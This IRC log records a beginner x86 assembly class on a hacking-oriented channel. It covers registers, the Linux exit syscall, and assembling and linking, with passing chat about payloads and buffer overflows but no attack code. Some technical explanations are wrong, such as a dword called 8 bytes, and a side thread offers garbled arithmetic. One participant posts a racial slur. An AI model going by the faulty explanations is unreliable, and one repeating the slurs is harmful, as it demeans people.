Jun 11 00:42:43 <null-> yeah, SQLi

Jun 11 00:42:43 <Anorov> well let's be honest

Jun 11 00:42:50 <Anorov> how many people here are gonna know the slightest thing about assembly?

Jun 11 00:42:56 <S4ya> requests: polymorphic engines, self modifying code, anti-debugging trickery

Jun 11 00:42:57 <null-> exactly

Jun 11 00:42:58 <hurr> i know bits and peices

Jun 11 00:42:59 <Anorov> the people here to learn that is

Jun 11 00:43:03 <S4ya> dude, i'm retarded, and even i know

Jun 11 00:43:05 \* z3rod4ta (~zerodata@LulzCo-8312FFBC.torservers.net) saiu de #school4lulz

Jun 11 00:43:10 <Anorov> i'm pretty retarded and i know the basics

Jun 11 00:43:10 <hurr> but liek, what do?

Jun 11 00:43:13 <hurr> with asm

Jun 11 00:43:14 <Anorov> though not really enough to program in it competently

Jun 11 00:43:23 <Anorov> just like basic ass shit

Jun 11 00:43:24 <S4ya> you dont need to program asm competently

Jun 11 00:43:24 <hurr> ^

Jun 11 00:43:27 <S4ya> you need to write some payloads

Jun 11 00:43:41 <Anorov> well why bother learning to write payloads? other people do that for you, and they make them as small and efficient as possible

Jun 11 00:43:42 <S4ya> glue a loader together that can load higher level payload

Jun 11 00:43:45 <S4ya> and be done with that crap

Jun 11 00:43:52 <S4ya> because other people fuck up

Jun 11 00:43:57 <Anorov> if anything you'll want to know enough to be able to spot and exploit a buffer overflow

Jun 11 00:43:59 <S4ya> and you always need custom ones in complicated exploits

Jun 11 00:44:00 <Anorov> then you just throw in someone else's shellcode

Jun 11 00:44:02 <Anorov> but yeah

Jun 11 00:44:03 <Anorov> that is true

Jun 11 00:44:08 <S4ya> suppose liek

Jun 11 00:44:09 <Anorov> you may need to know how to write your own

Jun 11 00:44:09 \* hatter coloca o modo +m #school4lulz

Jun 11 00:44:37 <hatter> Okay guys — Direct questions to me or eax

Jun 11 00:44:39 <hatter> class is now in session  
Jun 11 00:44:46 <hatter> Basics of assembly, bytecode, and processors  
Jun 11 00:45:15 <hatter> Processors & CPU's  
Jun 11 00:45:16 \* Marti-n saiu (Read error: Connection reset by peer)  
Jun 11 00:45:17 <hatter> Have gates  
Jun 11 00:45:18 <hatter> These gates  
Jun 11 00:45:22 <hatter> are accessed by instructions  
Jun 11 00:45:32 <hatter> now processors have little pieces of memory, known as registers  
Jun 11 00:45:40 \* halcyon1 (~nuri@LulzCo-F91D19D3.plspca.dsl-w.verizon.net) entrou em #school4lulz  
Jun 11 00:45:44 <hatter> which are either 32 bits, or 64 bits (4 bytes or 8 bytes) in length, respectively.  
Jun 11 00:45:55 <hatter> Gates are little more than a piece of hardware circuitry.  
Jun 11 00:46:12 <hatter> When an instruction is executed, one of the available gates is used  
Jun 11 00:46:25 <hatter> operands are received by these gates  
Jun 11 00:46:35 <hatter> Sometimes the operands are registers, other times the operands are static values.  
Jun 11 00:46:44 \* halcyon1 saiu (Ping timeout: 240 seconds)  
Jun 11 00:46:58 <hatter> registers may contain any integer up to their size (in hex) or a pointer to any piece of data  
Jun 11 00:47:14 <hatter> pointers to strings, for example, are null terminated, hence you've seen \0 in a lot of C, also \x00  
Jun 11 00:47:36 <hatter> A single byte (8 bits) is capable of executing an instruction, or calling access to a gate.  
Jun 11 00:48:40 <hatter> There are several basic instructions (primitives) and several general-purpose registers on the x86 processor architecture.  
Jun 11 00:49:23 <hatter> I'll turn it over to eax to explain those  
Jun 11 00:49:44 <eax> these basic instructions consist of  
Jun 11 00:49:45 \* halcyon1 saiu (Ping timeout: 240 seconds)  
Jun 11 00:49:47 \* rawr saiu (Remote host closed the connection)  
Jun 11 00:49:50 <eax> push(pushl)  
Jun 11 00:49:55 <eax> pushb  
Jun 11 00:49:56 <eax> movb  
Jun 11 00:49:58 <eax> movl  
Jun 11 00:50:03 <eax> pop  
Jun 11 00:50:09 <eax> addl  
Jun 11 00:50:14 <eax> addb  
Jun 11 00:50:19 <hatter> (By the way, this is ATT System V assembly, not intel, but it works on both architectures)  
Jun 11 00:50:20 <eax> imul  
Jun 11 00:50:23 \* noopslider (~unknownus@LulzCo-72F419C5.dip.t-dialin.net) saiu de #school4lulz  
Jun 11 00:50:36 <eax> and depending on your syntax these may be different  
Jun 11 00:50:42 <hatter> don't forget  
Jun 11 00:50:43 <hatter> inc  
Jun 11 00:50:44 <hatter> dec  
Jun 11 00:50:54 <eax> (also the way you call them may be different)  
Jun 11 00:51:08 <eax> i will be explaining their usage in at&t system v syntax  
Jun 11 00:51:23 <eax> starting with movb/movl  
Jun 11 00:51:24 <hatter> The general purpose registers include (but are not limited to)  
Jun 11 00:51:30 <hatter> eax, ebx, edx, ecx,  
Jun 11 00:51:31 \* nachash (~nachash@210-50-93-160.ade.iprimus.net.au) entrou em #school4lulz  
Jun 11 00:51:35 <hatter> ebp  
Jun 11 00:51:36 <hatter> etc  
Jun 11 00:51:42 <eax> ah yes  
Jun 11 00:51:43 <hatter> Registers are preceeded by a % in ATT notation  
Jun 11 00:51:46 \* bumfiend1 saiu ()  
Jun 11 00:51:56 <hatter> So now you can all enjoy the joke of the handle and halfop %eax  
Jun 11 00:52:02 <hatter> For those of you who didn't get it before 😊  
Jun 11 00:52:09 <eax> lol  
Jun 11 00:52:22 \* whiteh8 saiu (Remote host closed the connection)  
Jun 11 00:52:25 <eax> ok so the basics of movb and movl  
Jun 11 00:52:36 <eax> movb stands for move byte  
Jun 11 00:52:49 \* ryan1918 saiu (Ping timeout: 240 seconds)  
Jun 11 00:52:52 <eax> it is used for moving 1 byte of data into a register  
Jun 11 00:52:56 \* bnannerz (~bnannerz@1433C591.795AAC8A.D6F486B0.IP) entrou em #school4lulz  
Jun 11 00:53:01 <eax> as the name states lol  
Jun 11 00:53:10 \* pilgrim (~Pilgrim@F693A84D.73864D08.BFDD1873.IP) entrou em #school4lulz  
Jun 11 00:53:22 <hatter> oh, one more thing -  
Jun 11 00:53:23 <eax> it can also be used in conjunction with %al  
Jun 11 00:53:26 <hatter> These are 32 bit  
Jun 11 00:53:28 <hatter> registers  
Jun 11 00:53:33 \* halcyon1 (~nuri@LulzCo-F91D19D3.plspca.dsl-w.verizon.net) entrou em #school4lulz  
Jun 11 00:53:38 <hatter> 64 bit registers are %rax, %rbp, etc  
Jun 11 00:53:47 <hatter> essentially the same names, preceeded by an 'r'  
Jun 11 00:53:49 <hatter> in stead of an 'e'  
Jun 11 00:53:49 <hatter> '  
Jun 11 00:53:58 <hatter> A register is built from several sub-registers  
Jun 11 00:54:01 <hatter> as we used to have 8 bit  
Jun 11 00:54:02 <hatter> long ago  
Jun 11 00:54:10 <hatter> before we ever had 64 bit



Jun 11 00:54:14 <hatter> the eax register  
Jun 11 00:54:15 <hatter> is actually  
Jun 11 00:54:16 \* pilgrim saiu ()  
Jun 11 00:54:19 <hatter> hrm  
Jun 11 00:54:22 <hatter> Lemme ascii art it  
Jun 11 00:54:23 <hatter> 😊  
Jun 11 00:54:57 \* tfk0n1ne (~tfk09@C77FF6A6.FADC2A2D.F1D77C68.IP) entrou em #school4lulz  
Jun 11 00:54:58 <eax> lawl i dont think we will ever get to the basic commands :3  
Jun 11 00:55:04 <eax> anyways usage of movl and movb is  
Jun 11 00:55:13 <eax> movl \$data, %register  
Jun 11 00:55:15 <hatter> |  
Jun 11 00:55:15 <hatter> +---eax---  
Jun 11 00:55:15 <hatter> |  
Jun 11 00:55:15 <hatter> +-ax-  
Jun 11 00:55:16 <hatter> ah al  
Jun 11 00:55:37 <hatter> movl \$fromdata, %toregister  
Jun 11 00:56:00 <eax> (that moves 4 bytes of data to a register)  
Jun 11 00:56:01 <hatter> eax: you referenced %al and we can't assume they know what that is  
Jun 11 00:56:07 <hatter> lol  
Jun 11 00:56:24 <eax> google it!  
Jun 11 00:56:27 <hatter> ^  
Jun 11 00:56:29 <hatter> Ok new rule  
Jun 11 00:56:30 <eax> nah %eax is split into 4bytes  
Jun 11 00:56:32 <hatter> If you don't know what it is  
Jun 11 00:56:37 <hatter> Google  
Jun 11 00:56:39 <hatter> before asking questions  
Jun 11 00:56:42 <eax> %ax is 2 bytes long  
Jun 11 00:56:43 <hatter> if you have questions, pm one of us  
Jun 11 00:56:48 <nyann> literally google, or just mean search?  
Jun 11 00:56:50 <hatter> if its something the whole class should know we'll say it out here  
Jun 11 00:56:54 <hatter> search.  
Jun 11 00:56:59 <eax> %ah and %al are 1 bytes and make up %ah  
Jun 11 00:57:04 <eax> ax\*  
Jun 11 00:57:12 <hatter> %ah and %al are 1 bytes and make up %ax  
Jun 11 00:57:15 <hatter> For clarification.  
Jun 11 00:57:28 <hatter> so  
Jun 11 00:57:37 <hatter> One of the most important instructions  
Jun 11 00:57:38 <hatter> is int  
Jun 11 00:57:43 <hatter> as in kernel interrupt.  
Jun 11 00:58:12 <hatter> The kernel has a mainloop  
Jun 11 00:58:20 <hatter> that just runs in circles checking on running programs  
Jun 11 00:58:24 <hatter> to see if they need its attention.  
Jun 11 00:58:54 <hatter> if they do, the kernel will execute the command required by the application,  
given that the user running the application is privileged enough to do so  
Jun 11 00:59:02 <hatter> so our first example  
Jun 11 00:59:03 <hatter> will be exit  
Jun 11 00:59:14 <hatter> In assembly, your first program is exit, as opposed to 'hello world'  
Jun 11 00:59:23 <hatter> because you do actually have to write code to exit the program.  
Jun 11 00:59:25 <eax> (fyi google: "programming from the ground up" great resource imho)  
Jun 11 00:59:35 <hatter> Quite a great book  
Jun 11 00:59:41 <hatter> eax learned from it  
Jun 11 00:59:48 <hatter> Its one of my favorites.  
Jun 11 01:00:34 <hatter> Its a free ebook  
Jun 11 01:00:36 <hatter> So no worries  
Jun 11 01:00:45 <hatter> its available in pdf, softcover or hardcover  
Jun 11 01:00:50 <hatter> (obviously physical copies cost money)  
Jun 11 01:01:12 <hatter> eax: teach'em exit  
Jun 11 01:01:14 <hatter> lol  
Jun 11 01:01:20 <eax> k  
Jun 11 01:01:36 <eax> i am going to display the asm code for exit fist then explain it  
Jun 11 01:01:42 <eax> movl \$0, %ebx  
Jun 11 01:01:47 <eax> movl \$1, %eax  
Jun 11 01:01:51 <eax> int \$0x80  
Jun 11 01:01:56 <hatter> Oh  
Jun 11 01:01:57 \* halcyon saiu (Ping timeout: 240 seconds)  
Jun 11 01:01:59 <hatter> EVERYONE WHO CAN:  
Jun 11 01:02:02 <hatter> Open up a text editor  
Jun 11 01:02:04 <hatter> and put that in there  
Jun 11 01:02:06 <hatter> if you are on linux  
Jun 11 01:02:07 <hatter> n save it  
Jun 11 01:02:14 <hatter> (Lets at least walk them through it eax )  
Jun 11 01:02:31 <eax> lol k  
Jun 11 01:02:50 <eax> ok the first instruction moves 0 into %ebx  
Jun 11 01:02:56 <hatter> ^  
Jun 11 01:02:56 \* ryan1918 (~ryan@7016F228.B696884D.7E210C26.IP) entrou em #school4lulz  
Jun 11 01:03:01 <eax> (0x00000000) is what it actually looks like  
Jun 11 01:03:13 <eax> because it is a dword (8 bytes)  
Jun 11 01:03:16 <hatter> because you're moving a long (or doubleword) into a 32 bit register  
Jun 11 01:03:40 <eax> the next instruction moves 1 into eax

```

Jun 11 01:03:46 <Dox> save it with what ext?
Jun 11 01:03:53 <eax> (0x0000001)
Jun 11 01:03:57 <eax> ill talk about that in a sec
Jun 11 01:04:15 <eax> next instruction is the system interrupt which tells the processor hey do this
shit
Jun 11 01:04:17 <t> sup nigs
Jun 11 01:04:26 <hatter> That's correct,
Jun 11 01:04:29 <eax> every time you file an interrupt it checks %eax for what command you want to
do
Jun 11 01:04:33 <hatter> its the kernel interrupt
Jun 11 01:04:34 <eax> $1 = exit
Jun 11 01:04:35 <hatter> (ON LINUX)
Jun 11 01:04:59 <eax> for the exit command it has another variable to assist it (%ebx)
Jun 11 01:05:09 * MoDahkah (~White@LulzCo-BCEEED65.dyn.optonline.net) entrou em #school4lulz
Jun 11 01:05:13 <eax> this is the return variable to the system for the exit call
Jun 11 01:05:22 <hatter> You may or may not have seen
Jun 11 01:05:23 <eax> it is almost like return 0; or exit(0); in C
Jun 11 01:05:25 <hatter> Exit code 127
Jun 11 01:05:27 <hatter> in scripts
Jun 11 01:05:30 <hatter> that means the file wasn't found
Jun 11 01:05:31 <hatter> etc
Jun 11 01:05:35 <hatter> a good example
Jun 11 01:05:38 <hatter> if you have your linux shell
Jun 11 01:05:49 <hatter> type some random shit that obviously isn't a command
Jun 11 01:05:52 <hatter> then type
Jun 11 01:05:54 <hatter> echo $?
Jun 11 01:06:02 <hatter> with the ? mark
Jun 11 01:06:22 <hatter> hatter ~ $ awiefuweuihf
Jun 11 01:06:22 <hatter> awiefuweuihf: command not found
Jun 11 01:06:22 <hatter> hatter ~ $ echo $?
Jun 11 01:06:22 <hatter> 127
Jun 11 01:06:32 <hatter> hatter ~ $ cd descry
Jun 11 01:06:32 <hatter> hatter ~/descry $ echo $?
Jun 11 01:06:32 <hatter> 0
Jun 11 01:06:42 <hatter> $? means exit status was normal
Jun 11 01:06:45 * hurr saiu (Remote host closed the connection)
Jun 11 01:06:45 <hatter> Anything else is an error
Jun 11 01:06:51 <hatter> An application can have up to 255 basic errors
Jun 11 01:07:09 <eax> ok so now that we have the return value in %ebx and the exit cod in %eax and
the system interrupt. it is time to assemble and link/
Jun 11 01:07:23 <eax> so our code looks like this
Jun 11 01:07:24 <eax> movl $0, %ebx
Jun 11 01:07:24 <eax> movl $1,
Jun 11 01:07:24 <eax> int $0x80
Jun 11 01:07:34 <eax> erm movl $1, %eax*
Jun 11 01:07:47 <eax> name the file test.s
Jun 11 01:08:03 <eax> in order to assemble we have to call the 'as' command
Jun 11 01:08:12 <eax> so pull up your linux terminal
Jun 11 01:08:21 * foobar29 (~Adium@LulzCo-ABE23DDB.dyn.iinet.net.au) entrou em #school4lulz
Jun 11 01:08:22 <eax> navigate to where you saved test.s
Jun 11 01:08:28 <eax> and type in
Jun 11 01:08:34 <eax> as test.s -o test.o
Jun 11 01:08:50 <eax> this will take the source code adn assemble it producing an object file
Jun 11 01:09:05 <eax> (-o is the output flag and what is after is the filename )
Jun 11 01:09:19 <eax> after this we can link the file together using the 'ld' command
Jun 11 01:09:28 <eax> ld test.o -o test
Jun 11 01:09:58 <eax> (later on if we get to it you can also dynamically link other libvarks for use in
your project that include funcitons like printf)
Jun 11 01:10:11 <eax> so now that we have an assembled binary we can run it like so
Jun 11 01:10:13 <eax> ./test
Jun 11 01:10:38 <eax> now it may seem as if it did nothing but what happened was it opened and put
$0 into %ebx (the retuyrn value)
Jun 11 01:10:44 <eax> and then exit itself
Jun 11 01:10:55 <eax> if you type echo $?
Jun 11 01:11:01 <eax> it should produce 0
Jun 11 01:11:04 <hatter> It wil have that 0 from %ebx.
Jun 11 01:11:10 <hatter> So you funny guys
Jun 11 01:11:13 <hatter> can change that first line
Jun 11 01:11:15 <hatter> to
Jun 11 01:11:24 <hatter> movl $69, %ebx
Jun 11 01:11:27 <hatter> and re-assemble it
Jun 11 01:11:30 <hatter> when you echo $?
Jun 11 01:11:34 <hatter> it'll say 69
Jun 11 01:11:35 <hatter> in stead of 0
Jun 11 01:12:25 <hatter> obviously
Jun 11 01:12:29 <hatter> No one in here has tried this
Jun 11 01:12:41 <hatter> Because I haven't been spammed with 'it won't assemble' messages.
Jun 11 01:13:04 <hatter> So kids hurry up and try it
Jun 11 01:13:09 <hatter> The reason that won't assemble

```

Jun 11 01:13:10 <hatter> is because  
Jun 11 01:13:14 <hatter> there's no text or data segment  
Jun 11 01:13:21 <hatter> the whole exit code is as follows:  
Jun 11 01:13:24 <hatter> .section .data  
Jun 11 01:13:26 <hatter> .section .text  
Jun 11 01:13:29 <hatter> .globl \_start  
Jun 11 01:13:32 <hatter> \_start:  
Jun 11 01:13:38 <hatter> movl \$0, %ebx  
Jun 11 01:13:45 <hatter> movl \$1, %eax  
Jun 11 01:13:47 <hatter> int \$0x80  
Jun 11 01:13:49 <hatter> -END-  
Jun 11 01:14:16 \* lighthouse (~shadow@LulzCo-10001504.tampabay.res.rr.com) entrou em #school4lulz  
Jun 11 01:14:25 <hatter> So  
Jun 11 01:14:32 <hatter> Those of you who care to learn asm  
Jun 11 01:14:35 <hatter> Go ahead and put that in  
Jun 11 01:14:40 <hatter> save your file as 'test.s'  
Jun 11 01:14:43 <hatter> then run  
Jun 11 01:14:46 <hatter> as test.s -o test.o  
Jun 11 01:14:50 <hatter> ld test.o -o test  
Jun 11 01:14:52 <hatter> ./test  
Jun 11 01:14:54 <hatter> echo \$?  
Jun 11 01:15:26 <hatter> you should get a zero  
Jun 11 01:15:30 <hatter> anyone having a hard time may pm me  
Jun 11 01:16:12 \* bnannerz (~bnannerz@1433C591.795AAC8A.D6F486B0.IP) saiu de #school4lulz  
Jun 11 01:16:23 <God> 😊  
Jun 11 01:17:00 \* hatter oferece voz a null-  
Jun 11 01:17:06 <hatter> null-: raised a valid point  
Jun 11 01:17:08 <hatter> Go ahead and talk  
Jun 11 01:17:16 <hatter> explain your problem and why, then I'll explain the solution 😊  
Jun 11 01:18:10 <God> ..  
Jun 11 01:18:15 <null-> the former code from eax assembled in my machine (32bit OS on 64bit CPU) and got the following warning  
Jun 11 01:18:26 <null-> ld: warning: cannot find entry symbol \_start; defaulting to 0000000008048054  
Jun 11 01:18:50 <null-> now hatter will explain why that happen 😊  
Jun 11 01:19:25 <hatter> Essentially  
Jun 11 01:19:34 <hatter> He's running a 32 bit exit call  
Jun 11 01:19:53 <hatter> null-: go ahead and cat your file  
Jun 11 01:19:54 <hatter> and paste it  
Jun 11 01:20:09 <null-> movl \$0, %ebx  
Jun 11 01:20:09 <null-> movl \$1, %eax  
Jun 11 01:20:09 <null-> int \$0x80  
Jun 11 01:20:14 <hatter> There's no header  
Jun 11 01:20:17 \* wutthe (fork@LulzCo-F916DAF9.ca) entrou em #school4lulz  
Jun 11 01:20:26 <hatter> 00:13 <@hatter> there's no text or data segment  
Jun 11 01:20:26 <hatter> 00:13 <@hatter> the whole exit code is as follows:  
Jun 11 01:20:26 <hatter> 00:13 <@hatter> .section .data  
Jun 11 01:20:26 <hatter> 00:13 <@hatter> .section .text  
Jun 11 01:20:26 <hatter> 00:13 <@hatter> .globl \_start  
Jun 11 01:20:28 <hatter> 00:14 <@hatter> \_start:  
Jun 11 01:20:28 <hatter> 00:14 <@hatter> movl \$0, %ebx  
Jun 11 01:20:30 <hatter> 00:14 <@hatter> movl \$1, %eax  
Jun 11 01:20:30 <hatter> 00:14 <@hatter> int \$0x80  
Jun 11 01:20:37 <hatter> Had he been using the registers  
Jun 11 01:20:38 <hatter> %rax  
Jun 11 01:20:41 <hatter> and %rbx  
Jun 11 01:20:46 <hatter> in stead of %eax and %ebx  
Jun 11 01:20:48 <hatter> respectively  
Jun 11 01:20:52 <hatter> He would not have gotten that error  
Jun 11 01:21:07 <hatter> But because he had a 64 bit cpu  
Jun 11 01:21:15 <hatter> and he's using 32 bit registers  
Jun 11 01:21:20 <hatter> and didn't declare his start header  
Jun 11 01:21:32 <hatter> it didn't know to assemble it properly  
Jun 11 01:22:14 <hatter> so  
Jun 11 01:22:18 <hatter> those of you who got exit working right  
Jun 11 01:22:23 <hatter> try and make echo \$? say 69  
Jun 11 01:22:23 <null-> so it doesn't matter you are running a 32bit OS if you are running a 64bit cpu, you need to write 64bit asm  
Jun 11 01:22:25 <hatter> in stead of 0  
Jun 11 01:22:29 <hatter> null-: wrong  
Jun 11 01:22:33 <hatter> you need to declare your header  
Jun 11 01:22:37 <hatter> 00:20 <@hatter> 00:13 <@hatter> .section .data  
Jun 11 01:22:37 <hatter> 00:20 <@hatter> 00:13 <@hatter> .section .text  
Jun 11 01:22:37 <hatter> 00:20 <@hatter> 00:13 <@hatter> .globl \_start  
Jun 11 01:22:37 <hatter> 00:20 <@hatter> 00:14 <@hatter> \_start:  
Jun 11 01:22:45 <hatter> do that right before the beginning of your file.  
Jun 11 01:24:02 <hatter> 1 is in eax  
Jun 11 01:24:05 <hatter> because that's the function numbwr

Jun 11 01:24:08 <hatter> \*number  
 Jun 11 01:24:12 <hatter> you can google the linux syscall table  
 Jun 11 01:24:15 <hatter> and it'll show you that 1 is exit  
 Jun 11 01:24:35 <hatter> We're gonna take a 15 minute break  
 Jun 11 01:24:37 <hatter> to answer some questions  
 Jun 11 01:24:41 <hatter> And I need a cigarette  
 Jun 11 01:24:44 <hatter> then we'll get to hello world  
 Jun 11 01:24:46 <hatter> and some loops 😊  
 Jun 11 01:24:51 \* hatter coloca o modo -m #school4lulz  
 Jun 11 01:25:06 \* xtal saiu (Ping timeout: 240 seconds)  
 Jun 11 01:25:11 <Hellspawn> What is the use of these different error codes? Just for feedback to the user?  
 Jun 11 01:25:31 <d0z3> or another program  
 Jun 11 01:25:41 \* nyann saiu (Quit: leaving)  
 Jun 11 01:25:49 <hatter> mostly debug output Hellspawn  
 Jun 11 01:25:51 <Anorov> hmm  
 Jun 11 01:25:56 <Hellspawn> kk  
 Jun 11 01:25:59 <d0z3> so it can know if it ran succesfully or encountered an error ? (this is in c)  
 Jun 11 01:26:04 <Anorov> hatter could you display some uses of using the 2 and 1 byte registers?  
 Jun 11 01:26:33 <hatter> Sure, give me a moment  
 Jun 11 01:26:37 <Anorov> k  
 Jun 11 01:26:55 \* foobar291 (~Adium@LulzCo-D52A9B22.dyn.iinet.net.au) entrou em #school4lulz  
 Jun 11 01:27:33 <hatter> I gotta smoke a cig BAD  
 Jun 11 01:27:34 <hatter> lol  
 Jun 11 01:27:38 \* foobar29 saiu (Ping timeout: 240 seconds)  
 Jun 11 01:28:18 <imposter22> ?the lulz boat?  
 Jun 11 01:28:29 <TransfiniteGreyWizard> I love your class hatter  
 Jun 11 01:28:38 <TransfiniteGreyWizard> I wish colleges would get to the point like you do  
 Jun 11 01:29:15 <TransfiniteGreyWizard> Not kissing your ass. I'm seriously pissed with these dumbass classes.  
 Jun 11 01:29:48 \* halcyon (~nuri@LulzCo-DD6B9F50.dc.res.rr.com) entrou em #school4lulz  
 Jun 11 01:29:51 <Anorov> you taking an assembly class in college?  
 Jun 11 01:29:57 <TransfiniteGreyWizard> No just mathematics  
 Jun 11 01:30:06 <Anorov> well math is a bit different lol  
 Jun 11 01:30:12 <Anorov> i'm rather glad math isn't taught in here  
 Jun 11 01:30:19 <TransfiniteGreyWizard> Why not?  
 Jun 11 01:30:20 <S4ya> guise guise  
 Jun 11 01:30:20 <S4ya> ima doing  
 Jun 11 01:30:22 <S4ya> mov eax, 1  
 Jun 11 01:30:22 <S4ya> db 0xff, 0xc8  
 Jun 11 01:30:22 <S4ya> pop ebx  
 Jun 11 01:30:22 <S4ya> int 0x80  
 Jun 11 01:30:22 <S4ya> db 0xeb, 0xf4  
 Jun 11 01:30:28 <Anorov> i'm god awful at math and...meh, nevermind  
 Jun 11 01:30:34 <Anorov> what does db mean again? declare byte?  
 Jun 11 01:30:38 <S4ya> wut wrong?  
 Jun 11 01:30:40 <TransfiniteGreyWizard> You can divide any number by 5 by multiplying by 2.  
 Jun 11 01:31:00 <d0z3> heh?  
 Jun 11 01:31:02 <TransfiniteGreyWizard> For instance, 27475\*5 can be cut in half to extract the answer.  
 Jun 11 01:31:39 <TransfiniteGreyWizard> An easy way to do these large numbers in your head is to reduce all odd numbers by 1.  
 Jun 11 01:31:59 <TransfiniteGreyWizard> Turning 27475 to 26464. Cutting it in half results with 13232.  
 Jun 11 01:32:11 <TransfiniteGreyWizard> Add 5 (as a remainder) to the number on the right.  
 Jun 11 01:32:30 <TransfiniteGreyWizard> It turns into 13737.  
 Jun 11 01:32:37 <TransfiniteGreyWizard> Add a 0 and you have your answer!  
 Jun 11 01:32:39 <TransfiniteGreyWizard> 137370.  
 Jun 11 01:32:40 <Hellspawn> wrong.  
 Jun 11 01:32:48 <Hellspawn> 26364  
 Jun 11 01:32:57 <Hellspawn> you did 26464  
 Jun 11 01:33:05 <Hellspawn> short cuts = where problems arise.  
 Jun 11 01:33:07 <d0z3> only the odd numbers  
 Jun 11 01:33:11 <d0z3> 4 = even  
 Jun 11 01:33:13 <Hellspawn> fuuuuuuuuuuuuuuuuuuuuu  
 Jun 11 01:33:13 <TransfiniteGreyWizard> Oops.  
 Jun 11 01:33:14 <Hellspawn> lol  
 Jun 11 01:33:24 <Hellspawn> i still dont like that method lol  
 Jun 11 01:33:29 <d0z3> me neither  
 Jun 11 01:33:43 <Hellspawn> why dont you just use a calculator?  
 Jun 11 01:33:45 <TransfiniteGreyWizard> Allow me to re-correct?  
 Jun 11 01:33:59 <Hellspawn> 27475 \* 5  
 Jun 11 01:34:13 \* s0n1cK (s0n1cK@EA66A33E.F8154AB4.C94C189B.IP) entrou em #school4lulz  
 Jun 11 01:34:28 <Hellspawn> 25 + 350 + 2000 + 35000 + 100000  
 Jun 11 01:34:43 <Hellspawn> 137375  
 Jun 11 01:34:57 <TransfiniteGreyWizard> 27475 -> 26464 -> 13232 -> 137375  
 Jun 11 01:35:16 <Hellspawn> but your method isn't even relevent  
 Jun 11 01:35:23 <Hellspawn> its like doing your nine times tables using your fingers  
 Jun 11 01:35:27 <TransfiniteGreyWizard> It is to logistics.  
 Jun 11 01:35:41 \* zteppup saiu (Ping timeout: 240 seconds)

Jun 11 01:35:52 \* tfk0n1ne (~tfk09@C77FF6A6.FADC2A2D.F1D77C68.IP) saiu de #school4lulz

Jun 11 01:35:54 <Hellspawn> how is your method quicker than the method i just used?

Jun 11 01:36:04 <Hellspawn> like seriously, if you want quick, use a computer

Jun 11 01:36:13 <TylerDurden> Hatter: good class, skimmed over it as i waz away, lernin' ppl asm is alwyas good.

Jun 11 01:36:19 <TransfiniteGreyWizard> Its number entanglement using the imaginary number system.

Jun 11 01:36:41 <TransfiniteGreyWizard> sin(180)/cos(90) demonstrates the relationship inversely

Jun 11 01:37:08 <eax> soory guys im back now

Jun 11 01:37:12 <eax> had an emergancy

Jun 11 01:37:19 <Hellspawn> feds at your door?

Jun 11 01:37:21 <Hellspawn> loljk

Jun 11 01:37:23 <TransfiniteGreyWizard> We all have to use the bathroom, its ok.

Jun 11 01:37:24 <hatter> not that cool

Jun 11 01:37:25 <hatter> lol

Jun 11 01:37:32 <hatter> yall got like 3 minutes left

Jun 11 01:37:35 <IR601> shit ur self?

Jun 11 01:37:53 <Hellspawn> we are discussing the use of mathematics hatter, not really relevant stuff

Jun 11 01:38:06 <TransfiniteGreyWizard> Well it has a little bit to do with it.

Jun 11 01:38:10 <t> so guys are there any questions related to the subject that hatter or eax could anser

Jun 11 01:38:15 <null-> so... register are name sequentially? eax ebx ecx etc...

Jun 11 01:38:16 <TransfiniteGreyWizard> How do number representations relate to logical gates?

Jun 11 01:38:18 <Hellspawn> ok question then, what would be more efficient? greywizards method or my method for computers?

Jun 11 01:38:30 <KroaK> not all

Jun 11 01:38:34 <KroaK> theres ebp, esp

Jun 11 01:38:36 <KroaK> but they're special

Jun 11 01:38:39 <dextone> hatter, so why I got 0 while I'm expecting 127 error code ?

Jun 11 01:38:45 <KroaK> eip

Jun 11 01:38:51 <KroaK> not directly accessible

Jun 11 01:38:54 <hatter> dextone: I am still tryin to figure that out, could be something wrong with your bash install

Jun 11 01:39:29 <TylerDurden> Yeah: stack cookies. what about them.?

Jun 11 01:39:32 <Anorov> what distro are you running dextone

Jun 11 01:39:39 <TransfiniteGreyWizard> Sorry guys, still a newb.

Jun 11 01:39:40 <hatter> ok guys

Jun 11 01:39:43 <hatter> lets wrap it up

Jun 11 01:39:50 \* hatter coloca o modo +m #school4lulz

Jun 11 01:39:54 <hatter> eax: take it away <3

Jun 11 01:40:02 <eax> ok boys

Jun 11 01:40:05 <null-> KroaK: so there's a bunch of of eax, ebp, esp, etcc?

Jun 11 01:40:10 \* Fox saiu (Ping timeout: 240 seconds)

Jun 11 01:40:22 <eax> yes null there are a bunch of registers

Jun 11 01:40:31 <eax> general purpose are eax, ebx, edx, ecx

Jun 11 01:40:32 \* t0bias (~t0bias@3C56B256.CB1BD8B5.3EDA1CE.IP) entrou em #school4lulz

Jun 11 01:40:48 <eax> then special registers like eip, ebp, esp, eflags

Jun 11 01:40:52 \* xtal (~xtal@LulzCo-B26D449D.getinternet.no) entrou em #school4lulz

Jun 11 01:40:54 <eax> anyways

Jun 11 01:40:59 <null-> what's the difference between eax and ebx for example?

Jun 11 01:41:14 \* skynyrd (~skynyrd@LulzCo-A1D2A15C.mycingular.net) entrou em #school4lulz

Jun 11 01:41:25 <eax> nothing pretty much they can be used for the same thing

Jun 11 01:41:31 <eax> just think of them of general purpose variables

Jun 11 01:41:39 <eax> anyways COMMETNS YOU MUST USE THEM

Jun 11 01:41:49 <eax> to comment something in your source code you use a hash sign

Jun 11 01:41:52 <eax> #this is a comment

Jun 11 01:42:09 <eax> i suggest putting a comment every 1-3 lines just so you understand what is going on

Jun 11 01:42:22 <eax> because when you get into real projects it will get confusing

Jun 11 01:42:42 <eax> comments are especially usefull for functions

Jun 11 01:42:44 <hatter> When you get into highly compressed code

Jun 11 01:42:48 <hatter> comment every line.

Jun 11 01:42:52 <eax> ^

Jun 11 01:43:09 <eax> sometimes 1 line of asm can do 2-4 different things at once

Jun 11 01:43:28 <eax> its helpful also to use comments for functions

Jun 11 01:43:35 <eax> you can describe how to call your functions

Jun 11 01:43:40 <eax> what your function does

Jun 11 01:43:46 <eax> what your function should return

Jun 11 01:43:52 <eax> etc

Jun 11 01:44:11 <eax> most functions you see in asm follow the C syntax for variables

Jun 11 01:44:38 <eax> to pass varuiables to a function

Jun 11 01:44:45 <eax> you must push them to the stack BEFORE

Jun 11 01:44:48 <eax> you call your functon

Jun 11 01:44:58 <eax> while im at it i should explain the stack

Jun 11 01:45:18 <eax> the stack is part of your programs memory that expands backwards

Jun 11 01:45:30 <eax> say i pushl \$1

Jun 11 01:45:41 <eax> the stack now looks like

Jun 11 01:45:46 <eax> 0x00000001

```

